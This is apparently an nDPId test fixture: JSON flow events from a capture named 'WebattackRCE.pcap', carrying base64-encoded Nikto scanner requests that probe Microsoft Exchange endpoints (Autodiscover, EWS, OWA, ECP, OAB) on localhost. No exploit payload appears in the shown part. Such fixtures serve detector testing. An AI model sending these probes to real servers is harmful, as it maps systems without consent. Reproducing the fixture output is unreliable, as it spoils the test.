+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":71,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1576420276771,"flow_last_seen":0,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":191,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":191,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49684,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":771757,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"AAAAAAAAAAAAAAAACABFAADTCw5AAEAGMRV\/AAABfwAAAcIUH5CyKDMlKN\/VCYAYAED+xwAAAQEICp1m+0udZvtLR0VUIC9BdXRvZGlzY292ZXIvQXV0b2Rpc2NvdmVyLnhtbCBIVFRQLzEuMA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IElJUyBpbnRlcm5hbCBJUCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":71,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1576420276771,"flow_last_seen":0,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":191,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":191,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49684,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1576420276773,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49686,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":773149,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDAPJAAEAGO0F\/AAABfwAAAcIWH5B1lTjaOiDdGIAYAED+twAAAQEICp1m+02dZvtMR0VUIC9BdXRvZGlzY292ZXIvIEhUVFAvMS4wDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6aGVhZGVyczogSUlTIGludGVybmFsIElQKQ0KDQo="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":72,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1576420276773,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49686,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1576420276774,"flow_last_seen":0,"flow_tot_l4_data_len":189,"flow_min_l4_data_len":189,"flow_max_l4_data_len":189,"flow_avg_l4_data_len":189,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49688,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":774669,"pkt_caplen":223,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":223,"pkt_l4_len":189,"pkt":"AAAAAAAAAAAAAAAACABFAADRNpRAAEAGBZF\/AAABfwAAAcIYH5C\/CA68jFESSoAYAED+xQAAAQEICp1m+06dZvtOR0VUIC9NaWNyb3NvZnQtU2VydmVyLUFjdGl2ZVN5bmMgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":73,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1576420276774,"flow_last_seen":0,"flow_tot_l4_data_len":189,"flow_min_l4_data_len":189,"flow_max_l4_data_len":189,"flow_avg_l4_data_len":189,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49688,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1576420276776,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49690,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00662{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":776123,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"AAAAAAAAAAAAAAAACABFAADdUNZAAEAG60J\/AAABfwAAAcIaH5Ae8Gj\/tlcbuIAYAED+0QAAAQEICp1m+1CdZvtPR0VUIC9NaWNyb3NvZnQtU2VydmVyLUFjdGl2ZVN5bmMvZGVmYXVsdC5jc3MgSFRUUC8xLjANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":74,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1576420276776,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49690,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1576420276777,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49692,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":777738,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC51DJAAEAGaAp\/AAABfwAAAcIcH5BDaOwb++ns54AYAED+rQAAAQEICp1m+1GdZvtRR0VUIC9FQ1AgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":75,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1576420276777,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49692,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1576420276779,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49694,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":779177,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC5SehAAEAG8lR\/AAABfwAAAcIeH5AlzXHNG7GlzoAYAED+rQAAAQEICp1m+1OdZvtTR0VUIC9FV1MgSFRUUC8xLjANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":76,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1576420276779,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49694,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1576420276780,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49696,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":780572,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADH3u5AAEAGXUB\/AAABfwAAAcIgH5D8fubIriLokYAYAED+uwAAAQEICp1m+1SdZvtUR0VUIC9FV1MvRXhjaGFuZ2UuYXNteCBIVFRQLzEuMA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IElJUyBpbnRlcm5hbCBJUCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":77,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1576420276780,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49696,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":78,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1576420276781,"flow_last_seen":0,"flow_tot_l4_data_len":170,"flow_min_l4_data_len":170,"flow_max_l4_data_len":170,"flow_avg_l4_data_len":170,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49698,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00617{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":781986,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"AAAAAAAAAAAAAAAACABFAAC+Y8xAAEAG2Gt\/AAABfwAAAcIiH5D+h1vitMrGVIAYAED+sgAAAQEICp1m+1WdZvtVR0VUIC9FeGNoYW5nZSBIVFRQLzEuMA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IElJUyBpbnRlcm5hbCBJUCkNCg0K"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":78,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1576420276781,"flow_last_seen":0,"flow_tot_l4_data_len":170,"flow_min_l4_data_len":170,"flow_max_l4_data_len":170,"flow_avg_l4_data_len":170,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49698,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1576420276784,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49700,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":784670,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC5ylFAAEAGcet\/AAABfwAAAcIkH5CUkvJkMc1am4AYAED+rQAAAQEICp1m+1idZvtYR0VUIC9PV0EgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1576420276784,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49700,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1576420276786,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49702,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00661{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":786360,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"AAAAAAAAAAAAAAAACABFAADdBqpAAEAGNW9\/AAABfwAAAcImH5DUMj6FKAlSCYAYAED+0QAAAQEICp1m+1qdZvtaR0VUIC9NaWNyb3NvZnQtU2VydmVyLUFjdGl2ZVN5bmMvZGVmYXVsdC5lYXMgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":80,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1576420276786,"flow_last_seen":0,"flow_tot_l4_data_len":201,"flow_min_l4_data_len":201,"flow_max_l4_data_len":201,"flow_avg_l4_data_len":201,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49702,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1576420276787,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49704,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":787818,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC5+PtAAEAGQ0F\/AAABfwAAAcIoH5AY5sDVvq1OaYAYAED+rQAAAQEICp1m+1udZvtbR0VUIC9ScGMgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":81,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1576420276787,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49704,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1576420276789,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49706,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":789217,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHn6dAAEAGnId\/AAABfwAAAcIqH5DNYaeJfxts9oAYAED+uwAAAQEICp1m+12dZvtdR0VUIC9FV1MvU2VydmljZXMud3NkbCBIVFRQLzEuMA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IElJUyBpbnRlcm5hbCBJUCkNCg0K"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":82,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1576420276789,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49706,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1576420276790,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49708,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":790612,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC5NBFAAEAGCCx\/AAABfwAAAcIsH5ClBgwj7e4RBIAYAED+rQAAAQEICp1m+16dZvteR0VUIC9lY3AgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1576420276790,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49708,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1576420276792,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49710,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":792012,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC5lANAAEAGqDl\/AAABfwAAAcIuH5BArawwwOPk6IAYAED+rQAAAQEICp1m+1+dZvtfR0VUIC9PQUIgSFRUUC8xLjANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":84,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1576420276792,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49710,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 